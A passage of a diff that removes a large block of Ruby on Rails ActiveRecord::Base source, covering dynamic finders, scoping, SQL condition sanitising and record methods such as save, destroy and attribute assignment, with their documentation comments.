-              #   options = { :conditions => find_attributes }
-              #   set_readonly_option!(options)
-              #
-              #   record = find(:first, options)
-              #
-              #   if record.nil?
-              #     record = self.new { |r| r.send(:attributes=, attributes, guard_protected_attributes) }
-              #     yield(record) if block_given?
-              #     record.save
-              #     record
-              #   else
-              #     record
-              #   end
-              # end
-              self.class_eval <<-EOS, __FILE__, __LINE__ + 1
-                def self.#{method_id}(*args)
-                  attributes = [:#{attribute_names.join(',:')}]
-                  protected_attributes_for_create, unprotected_attributes_for_create = {}, {}
-                  args.each_with_index do |arg, i|
-                    if arg.is_a?(Hash)
-                      protected_attributes_for_create = args[i].with_indifferent_access
-                    else
-                      unprotected_attributes_for_create[attributes[i]] = args[i]
-                    end
-                  end
-
-                  find_attributes = (protected_attributes_for_create.merge(unprotected_attributes_for_create)).slice(*attributes)
-
-                  options = { :conditions => find_attributes }
-                  set_readonly_option!(options)
-
-                  record = find(:first, options)
-
-                  if record.nil?
-                    record = self.new do |r|
-                      r.send(:attributes=, protected_attributes_for_create, true) unless protected_attributes_for_create.empty?
-                      r.send(:attributes=, unprotected_attributes_for_create, false) unless unprotected_attributes_for_create.empty?
-                    end
-                    #{'yield(record) if block_given?'}
-                    #{'record.save' if instantiator == :create}
-                    record
-                  else
-                    record
-                  end
-                end
-              EOS
-              send(method_id, *arguments, &block)
-            end
-          elsif match = DynamicScopeMatch.match(method_id)
-            attribute_names = match.attribute_names
-            super unless all_attributes_exists?(attribute_names)
-            if match.scope?
-              self.class_eval <<-EOS, __FILE__, __LINE__ + 1
-                def self.#{method_id}(*args)                        # def self.scoped_by_user_name_and_password(*args)
-                  options = args.extract_options!                   #   options = args.extract_options!
-                  attributes = construct_attributes_from_arguments( #   attributes = construct_attributes_from_arguments(
-                    [:#{attribute_names.join(',:')}], args          #     [:user_name, :password], args
-                  )                                                 #   )
-                                                                    # 
-                  scoped(:conditions => attributes)                 #   scoped(:conditions => attributes)
-                end                                                 # end
-              EOS
-              send(method_id, *arguments)
-            end
-          else
-            super
-          end
-        end
-
-        def construct_attributes_from_arguments(attribute_names, arguments)
-          attributes = {}
-          attribute_names.each_with_index { |name, idx| attributes[name] = arguments[idx] }
-          attributes
-        end
-
-        # Similar in purpose to +expand_hash_conditions_for_aggregates+.
-        def expand_attribute_names_for_aggregates(attribute_names)
-          expanded_attribute_names = []
-          attribute_names.each do |attribute_name|
-            unless (aggregation = reflect_on_aggregation(attribute_name.to_sym)).nil?
-              aggregate_mapping(aggregation).each do |field_attr, aggregate_attr|
-                expanded_attribute_names << field_attr
-              end
-            else
-              expanded_attribute_names << attribute_name
-            end
-          end
-          expanded_attribute_names
-        end
-
-        def all_attributes_exists?(attribute_names)
-          attribute_names = expand_attribute_names_for_aggregates(attribute_names)
-          attribute_names.all? { |name| column_methods_hash.include?(name.to_sym) }
-        end
-
-        def attribute_condition(quoted_column_name, argument)
-          case argument
-            when nil   then "#{quoted_column_name} IS ?"
-            when Array, ActiveRecord::Associations::AssociationCollection, ActiveRecord::NamedScope::Scope then "#{quoted_column_name} IN (?)"
-            when Range then if argument.exclude_end?
-                              "#{quoted_column_name} >= ? AND #{quoted_column_name} < ?"
-                            else
-                              "#{quoted_column_name} BETWEEN ? AND ?"
-                            end
-            else            "#{quoted_column_name} = ?"
-          end
-        end
-
-        # Interpret Array and Hash as conditions and anything else as an id.
-        def expand_id_conditions(id_or_conditions)
-          case id_or_conditions
-            when Array, Hash then id_or_conditions
-            else sanitize_sql(primary_key => id_or_conditions)
-          end
-        end
-
-        # Defines an "attribute" method (like +inheritance_column+ or
-        # +table_name+). A new (class) method will be created with the
-        # given name. If a value is specified, the new method will
-        # return that value (as a string). Otherwise, the given block
-        # will be used to compute the value of the method.
-        #
-        # The original method will be aliased, with the new name being
-        # prefixed with "original_". This allows the new method to
-        # access the original value.
-        #
-        # Example:
-        #
-        #   class A < ActiveRecord::Base
-        #     define_attr_method :primary_key, "sysid"
-        #     define_attr_method( :inheritance_column ) do
-        #       original_inheritance_column + "_id"
-        #     end
-        #   end
-        def define_attr_method(name, value=nil, &block)
-          sing = class << self; self; end
-          sing.send :alias_method, "original_#{name}", name
-          if block_given?
-            sing.send :define_method, name, &block
-          else
-            # use eval instead of a block to work around a memory leak in dev
-            # mode in fcgi
-            sing.class_eval "def #{name}; #{value.to_s.inspect}; end"
-          end
-        end
-
-      protected
-        # Scope parameters to method calls within the block.  Takes a hash of method_name => parameters hash.
-        # method_name may be <tt>:find</tt> or <tt>:create</tt>. <tt>:find</tt> parameters may include the <tt>:conditions</tt>, <tt>:joins</tt>,
-        # <tt>:include</tt>, <tt>:offset</tt>, <tt>:limit</tt>, and <tt>:readonly</tt> options. <tt>:create</tt> parameters are an attributes hash.
-        #
-        #   class Article < ActiveRecord::Base
-        #     def self.create_with_scope
-        #       with_scope(:find => { :conditions => "blog_id = 1" }, :create => { :blog_id => 1 }) do
-        #         find(1) # => SELECT * from articles WHERE blog_id = 1 AND id = 1
-        #         a = create(1)
-        #         a.blog_id # => 1
-        #       end
-        #     end
-        #   end
-        #
-        # In nested scopings, all previous parameters are overwritten by the innermost rule, with the exception of
-        # <tt>:conditions</tt>, <tt>:include</tt>, and <tt>:joins</tt> options in <tt>:find</tt>, which are merged.
-        #
-        # <tt>:joins</tt> options are uniqued so multiple scopes can join in the same table without table aliasing
-        # problems.  If you need to join multiple tables, but still want one of the tables to be uniqued, use the
-        # array of strings format for your joins.
-        #
-        #   class Article < ActiveRecord::Base
-        #     def self.find_with_scope
-        #       with_scope(:find => { :conditions => "blog_id = 1", :limit => 1 }, :create => { :blog_id => 1 }) do
-        #         with_scope(:find => { :limit => 10 })
-        #           find(:all) # => SELECT * from articles WHERE blog_id = 1 LIMIT 10
-        #         end
-        #         with_scope(:find => { :conditions => "author_id = 3" })
-        #           find(:all) # => SELECT * from articles WHERE blog_id = 1 AND author_id = 3 LIMIT 1
-        #         end
-        #       end
-        #     end
-        #   end
-        #
-        # You can ignore any previous scopings by using the <tt>with_exclusive_scope</tt> method.
-        #
-        #   class Article < ActiveRecord::Base
-        #     def self.find_with_exclusive_scope
-        #       with_scope(:find => { :conditions => "blog_id = 1", :limit => 1 }) do
-        #         with_exclusive_scope(:find => { :limit => 10 })
-        #           find(:all) # => SELECT * from articles LIMIT 10
-        #         end
-        #       end
-        #     end
-        #   end
-        #
-        # *Note*: the +:find+ scope also has effect on update and deletion methods,
-        # like +update_all+ and +delete_all+.
-        def with_scope(method_scoping = {}, action = :merge, &block)
-          method_scoping = method_scoping.method_scoping if method_scoping.respond_to?(:method_scoping)
-
-          # Dup first and second level of hash (method and params).
-          method_scoping = method_scoping.inject({}) do |hash, (method, params)|
-            hash[method] = (params == true) ? params : params.dup
-            hash
-          end
-
-          method_scoping.assert_valid_keys([ :find, :create ])
-
-          if f = method_scoping[:find]
-            f.assert_valid_keys(VALID_FIND_OPTIONS)
-            set_readonly_option! f
-          end
-
-          # Merge scopings
-          if [:merge, :reverse_merge].include?(action) && current_scoped_methods
-            method_scoping = current_scoped_methods.inject(method_scoping) do |hash, (method, params)|
-              case hash[method]
-                when Hash
-                  if method == :find
-                    (hash[method].keys + params.keys).uniq.each do |key|
-                      merge = hash[method][key] && params[key] # merge if both scopes have the same key
-                      if key == :conditions && merge
-                        if params[key].is_a?(Hash) && hash[method][key].is_a?(Hash)
-                          hash[method][key] = merge_conditions(hash[method][key].deep_merge(params[key]))
-                        else
-                          hash[method][key] = merge_conditions(params[key], hash[method][key])
-                        end
-                      elsif key == :include && merge
-                        hash[method][key] = merge_includes(hash[method][key], params[key]).uniq
-                      elsif key == :joins && merge
-                        hash[method][key] = merge_joins(params[key], hash[method][key])
-                      else
-                        hash[method][key] = hash[method][key] || params[key]
-                      end
-                    end
-                  else
-                    if action == :reverse_merge
-                      hash[method] = hash[method].merge(params)
-                    else
-                      hash[method] = params.merge(hash[method])
-                    end
-                  end
-                else
-                  hash[method] = params
-              end
-              hash
-            end
-          end
-
-          self.scoped_methods << method_scoping
-          begin
-            yield
-          ensure
-            self.scoped_methods.pop
-          end
-        end
-
-        # Works like with_scope, but discards any nested properties.
-        def with_exclusive_scope(method_scoping = {}, &block)
-          with_scope(method_scoping, :overwrite, &block)
-        end
-
-        def subclasses #:nodoc:
-          @@subclasses[self] ||= []
-          @@subclasses[self] + extra = @@subclasses[self].inject([]) {|list, subclass| list + subclass.subclasses }
-        end
-
-        # Sets the default options for the model. The format of the
-        # <tt>options</tt> argument is the same as in find.
-        #
-        #   class Person < ActiveRecord::Base
-        #     default_scope :order => 'last_name, first_name'
-        #   end
-        def default_scope(options = {})
-          self.default_scoping << { :find => options, :create => options[:conditions].is_a?(Hash) ? options[:conditions] : {} }
-        end
-
-        # Test whether the given method and optional key are scoped.
-        def scoped?(method, key = nil) #:nodoc:
-          if current_scoped_methods && (scope = current_scoped_methods[method])
-            !key || !scope[key].nil?
-          end
-        end
-
-        # Retrieve the scope for the given method and optional key.
-        def scope(method, key = nil) #:nodoc:
-          if current_scoped_methods && (scope = current_scoped_methods[method])
-            key ? scope[key] : scope
-          end
-        end
-
-        def scoped_methods #:nodoc:
-          Thread.current[:"#{self}_scoped_methods"] ||= self.default_scoping.dup
-        end
-
-        def current_scoped_methods #:nodoc:
-          scoped_methods.last
-        end
-
-        # Returns the class type of the record using the current module as a prefix. So descendants of
-        # MyApp::Business::Account would appear as MyApp::Business::AccountSubclass.
-        def compute_type(type_name)
-          modularized_name = type_name_with_module(type_name)
-          silence_warnings do
-            begin
-              class_eval(modularized_name, __FILE__)
-            rescue NameError
-              class_eval(type_name, __FILE__)
-            end
-          end
-        end
-
-        # Returns the class descending directly from ActiveRecord::Base or an
-        # abstract class, if any, in the inheritance hierarchy.
-        def class_of_active_record_descendant(klass)
-          if klass.superclass == Base || klass.superclass.abstract_class?
-            klass
-          elsif klass.superclass.nil?
-            raise ActiveRecordError, "#{name} doesn't belong in a hierarchy descending from ActiveRecord"
-          else
-            class_of_active_record_descendant(klass.superclass)
-          end
-        end
-
-        # Returns the name of the class descending directly from Active Record in the inheritance hierarchy.
-        def class_name_of_active_record_descendant(klass) #:nodoc:
-          klass.base_class.name
-        end
-
-        # Accepts an array, hash, or string of SQL conditions and sanitizes
-        # them into a valid SQL fragment for a WHERE clause.
-        #   ["name='%s' and group_id='%s'", "foo'bar", 4]  returns  "name='foo''bar' and group_id='4'"
-        #   { :name => "foo'bar", :group_id => 4 }  returns "name='foo''bar' and group_id='4'"
-        #   "name='foo''bar' and group_id='4'" returns "name='foo''bar' and group_id='4'"
-        def sanitize_sql_for_conditions(condition, table_name = quoted_table_name)
-          return nil if condition.blank?
-
-          case condition
-            when Array; sanitize_sql_array(condition)
-            when Hash;  sanitize_sql_hash_for_conditions(condition, table_name)
-            else        condition
-          end
-        end
-        alias_method :sanitize_sql, :sanitize_sql_for_conditions
-
-        # Accepts an array, hash, or string of SQL conditions and sanitizes
-        # them into a valid SQL fragment for a SET clause.
-        #   { :name => nil, :group_id => 4 }  returns "name = NULL , group_id='4'"
-        def sanitize_sql_for_assignment(assignments)
-          case assignments
-            when Array; sanitize_sql_array(assignments)
-            when Hash;  sanitize_sql_hash_for_assignment(assignments)
-            else        assignments
-          end
-        end
-
-        def aggregate_mapping(reflection)
-          mapping = reflection.options[:mapping] || [reflection.name, reflection.name]
-          mapping.first.is_a?(Array) ? mapping : [mapping]
-        end
-
-        # Accepts a hash of SQL conditions and replaces those attributes
-        # that correspond to a +composed_of+ relationship with their expanded
-        # aggregate attribute values.
-        # Given:
-        #     class Person < ActiveRecord::Base
-        #       composed_of :address, :class_name => "Address",
-        #         :mapping => [%w(address_street street), %w(address_city city)]
-        #     end
-        # Then:
-        #     { :address => Address.new("813 abc st.", "chicago") }
-        #       # => { :address_street => "813 abc st.", :address_city => "chicago" }
-        def expand_hash_conditions_for_aggregates(attrs)
-          expanded_attrs = {}
-          attrs.each do |attr, value|
-            unless (aggregation = reflect_on_aggregation(attr.to_sym)).nil?
-              mapping = aggregate_mapping(aggregation)
-              mapping.each do |field_attr, aggregate_attr|
-                if mapping.size == 1 && !value.respond_to?(aggregate_attr)
-                  expanded_attrs[field_attr] = value
-                else
-                  expanded_attrs[field_attr] = value.send(aggregate_attr)
-                end
-              end
-            else
-              expanded_attrs[attr] = value
-            end
-          end
-          expanded_attrs
-        end
-
-        # Sanitizes a hash of attribute/value pairs into SQL conditions for a WHERE clause.
-        #   { :name => "foo'bar", :group_id => 4 }
-        #     # => "name='foo''bar' and group_id= 4"
-        #   { :status => nil, :group_id => [1,2,3] }
-        #     # => "status IS NULL and group_id IN (1,2,3)"
-        #   { :age => 13..18 }
-        #     # => "age BETWEEN 13 AND 18"
-        #   { 'other_records.id' => 7 }
-        #     # => "`other_records`.`id` = 7"
-        #   { :other_records => { :id => 7 } }
-        #     # => "`other_records`.`id` = 7"
-        # And for value objects on a composed_of relationship:
-        #   { :address => Address.new("123 abc st.", "chicago") }
-        #     # => "address_street='123 abc st.' and address_city='chicago'"
-        def sanitize_sql_hash_for_conditions(attrs, default_table_name = quoted_table_name)
-          attrs = expand_hash_conditions_for_aggregates(attrs)
-
-          conditions = attrs.map do |attr, value|
-            table_name = default_table_name
-
-            unless value.is_a?(Hash)
-              attr = attr.to_s
-
-              # Extract table name from qualified attribute names.
-              if attr.include?('.')
-                attr_table_name, attr = attr.split('.', 2)
-                attr_table_name = connection.quote_table_name(attr_table_name)
-              else
-                attr_table_name = table_name
-              end
-
-              attribute_condition("#{attr_table_name}.#{connection.quote_column_name(attr)}", value)
-            else
-              sanitize_sql_hash_for_conditions(value, connection.quote_table_name(attr.to_s))
-            end
-          end.join(' AND ')
-
-          replace_bind_variables(conditions, expand_range_bind_variables(attrs.values))
-        end
-        alias_method :sanitize_sql_hash, :sanitize_sql_hash_for_conditions
-
-        # Sanitizes a hash of attribute/value pairs into SQL conditions for a SET clause.
-        #   { :status => nil, :group_id => 1 }
-        #     # => "status = NULL , group_id = 1"
-        def sanitize_sql_hash_for_assignment(attrs)
-          attrs.map do |attr, value|
-            "#{connection.quote_column_name(attr)} = #{quote_bound_value(value)}"
-          end.join(', ')
-        end
-
-        # Accepts an array of conditions.  The array has each value
-        # sanitized and interpolated into the SQL statement.
-        #   ["name='%s' and group_id='%s'", "foo'bar", 4]  returns  "name='foo''bar' and group_id='4'"
-        def sanitize_sql_array(ary)
-          statement, *values = ary
-          if values.first.is_a?(Hash) and statement =~ /:\w+/
-            replace_named_bind_variables(statement, values.first)
-          elsif statement.include?('?')
-            replace_bind_variables(statement, values)
-          else
-            statement % values.collect { |value| connection.quote_string(value.to_s) }
-          end
-        end
-
-        alias_method :sanitize_conditions, :sanitize_sql
-
-        def replace_bind_variables(statement, values) #:nodoc:
-          raise_if_bind_arity_mismatch(statement, statement.count('?'), values.size)
-          bound = values.dup
-          statement.gsub('?') { quote_bound_value(bound.shift) }
-        end
-
-        def replace_named_bind_variables(statement, bind_vars) #:nodoc:
-          statement.gsub(/(:?):([a-zA-Z]\w*)/) do
-            if $1 == ':' # skip postgresql casts
-              $& # return the whole match
-            elsif bind_vars.include?(match = $2.to_sym)
-              quote_bound_value(bind_vars[match])
-            else
-              raise PreparedStatementInvalid, "missing value for :#{match} in #{statement}"
-            end
-          end
-        end
-
-        def expand_range_bind_variables(bind_vars) #:nodoc:
-          expanded = []
-
-          bind_vars.each do |var|
-            next if var.is_a?(Hash)
-
-            if var.is_a?(Range)
-              expanded << var.first
-              expanded << var.last
-            else
-              expanded << var
-            end
-          end
-
-          expanded
-        end
-
-        def quote_bound_value(value) #:nodoc:
-          if value.respond_to?(:map) && !value.acts_like?(:string)
-            if value.respond_to?(:empty?) && value.empty?
-              connection.quote(nil)
-            else
-              value.map { |v| connection.quote(v) }.join(',')
-            end
-          else
-            connection.quote(value)
-          end
-        end
-
-        def raise_if_bind_arity_mismatch(statement, expected, provided) #:nodoc:
-          unless expected == provided
-            raise PreparedStatementInvalid, "wrong number of bind variables (#{provided} for #{expected}) in: #{statement}"
-          end
-        end
-
-        VALID_FIND_OPTIONS = [ :conditions, :include, :joins, :limit, :offset,
-                               :order, :select, :readonly, :group, :having, :from, :lock ]
-
-        def validate_find_options(options) #:nodoc:
-          options.assert_valid_keys(VALID_FIND_OPTIONS)
-        end
-
-        def set_readonly_option!(options) #:nodoc:
-          # Inherit :readonly from finder scope if set.  Otherwise,
-          # if :joins is not blank then :readonly defaults to true.
-          unless options.has_key?(:readonly)
-            if scoped_readonly = scope(:find, :readonly)
-              options[:readonly] = scoped_readonly
-            elsif !options[:joins].blank? && !options[:select]
-              options[:readonly] = true
-            end
-          end
-        end
-
-        def encode_quoted_value(value) #:nodoc:
-          quoted_value = connection.quote(value)
-          quoted_value = "'#{quoted_value[1..-2].gsub(/\'/, "\\\\'")}'" if quoted_value.include?("\\\'") # (for ruby mode) "
-          quoted_value
-        end
-    end
-
-    public
-      # New objects can be instantiated as either empty (pass no construction parameter) or pre-set with
-      # attributes but not yet saved (pass a hash with key names matching the associated table column names).
-      # In both instances, valid attribute keys are determined by the column names of the associated table --
-      # hence you can't have attributes that aren't part of the table columns.
-      def initialize(attributes = nil)
-        @attributes = attributes_from_column_definition
-        @attributes_cache = {}
-        @new_record = true
-        ensure_proper_type
-        self.attributes = attributes unless attributes.nil?
-        assign_attributes(self.class.send(:scope, :create)) if self.class.send(:scoped?, :create)
-        result = yield self if block_given?
-        callback(:after_initialize) if respond_to_without_attributes?(:after_initialize)
-        result
-      end
-
-      # A model instance's primary key is always available as model.id
-      # whether you name it the default 'id' or set it to something else.
-      def id
-        attr_name = self.class.primary_key
-        column = column_for_attribute(attr_name)
-
-        self.class.send(:define_read_method, :id, attr_name, column)
-        # now that the method exists, call it
-        self.send attr_name.to_sym
-
-      end
-
-      # Returns a String, which Action Pack uses for constructing an URL to this
-      # object. The default implementation returns this record's id as a String,
-      # or nil if this record's unsaved.
-      #
-      # For example, suppose that you have a User model, and that you have a
-      # <tt>map.resources :users</tt> route. Normally, +user_path+ will
-      # construct a path with the user object's 'id' in it:
-      #
-      #   user = User.find_by_name('Phusion')
-      #   user_path(user)  # => "/users/1"
-      #
-      # You can override +to_param+ in your model to make +user_path+ construct
-      # a path using the user's name instead of the user's id:
-      #
-      #   class User < ActiveRecord::Base
-      #     def to_param  # overridden
-      #       name
-      #     end
-      #   end
-      #   
-      #   user = User.find_by_name('Phusion')
-      #   user_path(user)  # => "/users/Phusion"
-      def to_param
-        # We can't use alias_method here, because method 'id' optimizes itself on the fly.
-        (id = self.id) ? id.to_s : nil # Be sure to stringify the id for routes
-      end
-
-      # Returns a cache key that can be used to identify this record.
-      #
-      # ==== Examples
-      #
-      #   Product.new.cache_key     # => "products/new"
-      #   Product.find(5).cache_key # => "products/5" (updated_at not available)
-      #   Person.find(5).cache_key  # => "people/5-20071224150000" (updated_at available)
-      def cache_key
-        case
-        when new_record?
-          "#{self.class.model_name.cache_key}/new"
-        when timestamp = self[:updated_at]
-          "#{self.class.model_name.cache_key}/#{id}-#{timestamp.to_s(:number)}"
-        else
-          "#{self.class.model_name.cache_key}/#{id}"
-        end
-      end
-
-      def id_before_type_cast #:nodoc:
-        read_attribute_before_type_cast(self.class.primary_key)
-      end
-
-      def quoted_id #:nodoc:
-        quote_value(id, column_for_attribute(self.class.primary_key))
-      end
-
-      # Sets the primary ID.
-      def id=(value)
-        write_attribute(self.class.primary_key, value)
-      end
-
-      # Returns true if this object hasn't been saved yet -- that is, a record for the object doesn't exist yet; otherwise, returns false.
-      def new_record?
-        @new_record || false
-      end
-
-      # :call-seq:
-      #   save(perform_validation = true)
-      #
-      # Saves the model.
-      #
-      # If the model is new a record gets created in the database, otherwise
-      # the existing record gets updated.
-      #
-      # If +perform_validation+ is true validations run. If any of them fail
-      # the action is cancelled and +save+ returns +false+. If the flag is
-      # false validations are bypassed altogether. See
-      # ActiveRecord::Validations for more information. 
-      #
-      # There's a series of callbacks associated with +save+. If any of the
-      # <tt>before_*</tt> callbacks return +false+ the action is cancelled and
-      # +save+ returns +false+. See ActiveRecord::Callbacks for further
-      # details. 
-      def save
-        create_or_update
-      end
-
-      # Saves the model.
-      #
-      # If the model is new a record gets created in the database, otherwise
-      # the existing record gets updated.
-      #
-      # With <tt>save!</tt> validations always run. If any of them fail
-      # ActiveRecord::RecordInvalid gets raised. See ActiveRecord::Validations
-      # for more information. 
-      #
-      # There's a series of callbacks associated with <tt>save!</tt>. If any of
-      # the <tt>before_*</tt> callbacks return +false+ the action is cancelled
-      # and <tt>save!</tt> raises ActiveRecord::RecordNotSaved. See
-      # ActiveRecord::Callbacks for further details. 
-      def save!
-        create_or_update || raise(RecordNotSaved)
-      end
-
-      # Deletes the record in the database and freezes this instance to
-      # reflect that no changes should be made (since they can't be
-      # persisted). Returns the frozen instance.
-      #
-      # The row is simply removed with a SQL +DELETE+ statement on the
-      # record's primary key, and no callbacks are executed.
-      #
-      # To enforce the object's +before_destroy+ and +after_destroy+
-      # callbacks, Observer methods, or any <tt>:dependent</tt> association
-      # options, use <tt>#destroy</tt>.
-      def delete
-        self.class.delete(id) unless new_record?
-        @destroyed = true
-        freeze
-      end
-
-      # Deletes the record in the database and freezes this instance to reflect that no changes should
-      # be made (since they can't be persisted).
-      def destroy
-        unless new_record?
-          connection.delete(
-            "DELETE FROM #{self.class.quoted_table_name} " +
-            "WHERE #{connection.quote_column_name(self.class.primary_key)} = #{quoted_id}",
-            "#{self.class.name} Destroy"
-          )
-        end
-
-        @destroyed = true
-        freeze
-      end
-
-      # Returns a clone of the record that hasn't been assigned an id yet and
-      # is treated as a new record.  Note that this is a "shallow" clone:
-      # it copies the object's attributes only, not its associations.
-      # The extent of a "deep" clone is application-specific and is therefore
-      # left to the application to implement according to its need.
-      def clone
-        attrs = clone_attributes(:read_attribute_before_type_cast)
-        attrs.delete(self.class.primary_key)
-        record = self.class.new
-        record.send :instance_variable_set, '@attributes', attrs
-        record
-      end
-
-      # Returns an instance of the specified +klass+ with the attributes of the current record. This is mostly useful in relation to
-      # single-table inheritance structures where you want a subclass to appear as the superclass. This can be used along with record
-      # identification in Action Pack to allow, say, <tt>Client < Company</tt> to do something like render <tt>:partial => @client.becomes(Company)</tt>
-      # to render that instance using the companies/company partial instead of clients/client.
-      #
-      # Note: The new instance will share a link to the same attributes as the original class. So any change to the attributes in either
-      # instance will affect the other.
-      def becomes(klass)
-        klass.new.tap do |became|
-          became.instance_variable_set("@attributes", @attributes)
-          became.instance_variable_set("@attributes_cache", @attributes_cache)
-          became.instance_variable_set("@new_record", new_record?)
-        end
-      end
-
-      # Updates a single attribute and saves the record without going through the normal validation procedure.
-      # This is especially useful for boolean flags on existing records. The regular +update_attribute+ method
-      # in Base is replaced with this when the validations module is mixed in, which it is by default.
-      def update_attribute(name, value)
-        send(name.to_s + '=', value)
-        save(false)
-      end
-
-      # Updates all the attributes from the passed-in Hash and saves the record. If the object is invalid, the saving will
-      # fail and false will be returned.
-      def update_attributes(attributes)
-        with_transaction_returning_status(:update_attributes_inside_transaction, attributes)
-      end
-
-      def update_attributes_inside_transaction(attributes) #:nodoc:
-        self.attributes = attributes
-        save
-      end
-
-      # Updates an object just like Base.update_attributes but calls save! instead of save so an exception is raised if the record is invalid.
-      def update_attributes!(attributes)
-        with_transaction_returning_status(:update_attributes_inside_transaction!, attributes)
-      end
-
-      def update_attributes_inside_transaction!(attributes) #:nodoc:
-        self.attributes = attributes
-        save!
-      end
-
-      # Initializes +attribute+ to zero if +nil+ and adds the value passed as +by+ (default is 1).
-      # The increment is performed directly on the underlying attribute, no setter is invoked.
-      # Only makes sense for number-based attributes. Returns +self+.
-      def increment(attribute, by = 1)
-        self[attribute] ||= 0
-        self[attribute] += by
-        self
-      end
-
-      # Wrapper around +increment+ that saves the record. This method differs from
-      # its non-bang version in that it passes through the attribute setter.
-      # Saving is not subjected to validation checks. Returns +true+ if the
-      # record could be saved.
-      def increment!(attribute, by = 1)
-        increment(attribute, by).update_attribute(attribute, self[attribute])
-      end
-
-      # Initializes +attribute+ to zero if +nil+ and subtracts the value passed as +by+ (default is 1).
-      # The decrement is performed directly on the underlying attribute, no setter is invoked.
-      # Only makes sense for number-based attributes. Returns +self+.
-      def decrement(attribute, by = 1)
-        self[attribute] ||= 0
-        self[attribute] -= by
-        self
-      end
-
-      # Wrapper around +decrement+ that saves the record. This method differs from
-      # its non-bang version in that it passes through the attribute setter.
-      # Saving is not subjected to validation checks. Returns +true+ if the
-      # record could be saved.
-      def decrement!(attribute, by = 1)
-        decrement(attribute, by).update_attribute(attribute, self[attribute])
-      end
-
-      # Assigns to +attribute+ the boolean opposite of <tt>attribute?</tt>. So
-      # if the predicate returns +true+ the attribute will become +false+. This
-      # method toggles directly the underlying value without calling any setter.
-      # Returns +self+.
-      def toggle(attribute)
-        self[attribute] = !send("#{attribute}?")
-        self
-      end
-
-      # Wrapper around +toggle+ that saves the record. This method differs from
-      # its non-bang version in that it passes through the attribute setter.
-      # Saving is not subjected to validation checks. Returns +true+ if the
-      # record could be saved.
-      def toggle!(attribute)
-        toggle(attribute).update_attribute(attribute, self[attribute])
-      end
-
-      # Reloads the attributes of this object from the database.
-      # The optional options argument is passed to find when reloading so you
-      # may do e.g. record.reload(:lock => true) to reload the same record with
-      # an exclusive row lock.
-      def reload(options = nil)
-        clear_aggregation_cache
-        clear_association_cache
-        @attributes.update(self.class.send(:with_exclusive_scope) { self.class.find(self.id, options) }.instance_variable_get('@attributes'))
-        @attributes_cache = {}
-        self
-      end
-
-      # Returns the value of the attribute identified by <tt>attr_name</tt> after it has been typecast (for example,
-      # "2004-12-12" in a data column is cast to a date object, like Date.new(2004, 12, 12)).
-      # (Alias for the protected read_attribute method).
-      def [](attr_name)
-        read_attribute(attr_name)
-      end
-
-      # Updates the attribute identified by <tt>attr_name</tt> with the specified +value+.
-      # (Alias for the protected write_attribute method).
-      def []=(attr_name, value)
-        write_attribute(attr_name, value)
-      end
-
-      # Allows you to set all the attributes at once by passing in a hash with keys
-      # matching the attribute names (which again matches the column names).
-      #
-      # If +guard_protected_attributes+ is true (the default), then sensitive
-      # attributes can be protected from this form of mass-assignment by using
-      # the +attr_protected+ macro. Or you can alternatively specify which
-      # attributes *can* be accessed with the +attr_accessible+ macro. Then all the
-      # attributes not included in that won't be allowed to be mass-assigned.
-      #
-      #   class User < ActiveRecord::Base
-      #     attr_protected :is_admin
-      #   end
-      #   
-      #   user = User.new
-      #   user.attributes = { :username => 'Phusion', :is_admin => true }
-      #   user.username   # => "Phusion"
-      #   user.is_admin?  # => false
-      #   
-      #   user.send(:attributes=, { :username => 'Phusion', :is_admin => true }, false)
-      #   user.is_admin?  # => true
-      def attributes=(new_attributes, guard_protected_attributes = true)
-        return if new_attributes.nil?
-        attributes = new_attributes.dup
-        attributes.stringify_keys!
-
-        attributes = remove_attributes_protected_from_mass_assignment(attributes) if guard_protected_attributes
-        assign_attributes(attributes) if attributes and attributes.any?
-      end
-
-      # Returns a hash of all the attributes with their names as keys and the values of the attributes as values.
-      def attributes
-        attrs = {}
-        attribute_names.each { |name| attrs[name] = read_attribute(name) }
-        attrs
-      end
-
-      # Returns a hash of attributes before typecasting and deserialization.
-      def attributes_before_type_cast
-        self.attribute_names.inject({}) do |attrs, name|
-          attrs[name] = read_attribute_before_type_cast(name)
-          attrs
-        end
-      end
-
-      # Returns an <tt>#inspect</tt>-like string for the value of the
-      # attribute +attr_name+. String attributes are elided after 50
-      # characters, and Date and Time attributes are returned in the
-      # <tt>:db</tt> format. Other attributes return the value of
-      # <tt>#inspect</tt> without modification.
-      #
-      #   person = Person.create!(:name => "David Heinemeier Hansson " * 3)
-      #
-      #   person.attribute_for_inspect(:name)
-      #   # => '"David Heinemeier Hansson David Heinemeier Hansson D..."'
-      #
-      #   person.attribute_for_inspect(:created_at)
-      #   # => '"2009-01-12 04:48:57"'
-      def attribute_for_inspect(attr_name)
-        value = read_attribute(attr_name)
-
-        if value.is_a?(String) && value.length > 50
-          "#{value[0..50]}...".inspect
-        elsif value.is_a?(Date) || value.is_a?(Time)
-          %("#{value.to_s(:db)}")
-        else
-          value.inspect
-        end
-      end
-
-      # Returns true if the specified +attribute+ has been set by the user or by a database load and is neither
-      # nil nor empty? (the latter only applies to objects that respond to empty?, most notably Strings).
-      def attribute_present?(attribute)
-        value = read_attribute(attribute)
-        !value.blank?
-      end
-
-      # Returns true if the given attribute is in the attributes hash
-      def has_attribute?(attr_name)
-        @attributes.has_key?(attr_name.to_s)
-      end
-
-      # Returns an array of names for the attributes available on this object sorted alphabetically.
-      def attribute_names
-        @attributes.keys.sort
-      end
-
-      # Returns the column object for the named attribute.
-      def column_for_attribute(name)
-        self.class.columns_hash[name.to_s]
-      end
-
-      # Returns true if the +comparison_object+ is the same object, or is of the same type and has the same id.
-      def ==(comparison_object)
-        comparison_object.equal?(self) ||
-          (comparison_object.instance_of?(self.class) &&
-            comparison_object.id == id &&
-            !comparison_object.new_record?)
-      end
-
-      # Delegates to ==
-      def eql?(comparison_object)
-        self == (comparison_object)
-      end
-
-      # Delegates to id in order to allow two records of the same type and id to work with something like:
-      #   [ Person.find(1), Person.find(2), Person.find(3) ] & [ Person.find(1), Person.find(4) ] # => [ Person.find(1) ]
-      def hash
-        id.hash
-      end
-
-      # Freeze the attributes hash such that associations are still accessible, even on destroyed records.
-      def freeze
-        @attributes.freeze; self
-      end
-
-      # Returns +true+ if the attributes hash has been frozen.
-      def frozen?
-        @attributes.frozen?
-      end
-
-      # Returns +true+ if the record has been destroyed.
-      def destroyed?
-        @destroyed
-      end
-
-      # Returns +true+ if the record is read only. Records loaded through joins with piggy-back
-      # attributes will be marked as read only since they cannot be saved.
-      def readonly?
-        defined?(@readonly) && @readonly == true
-      end
-
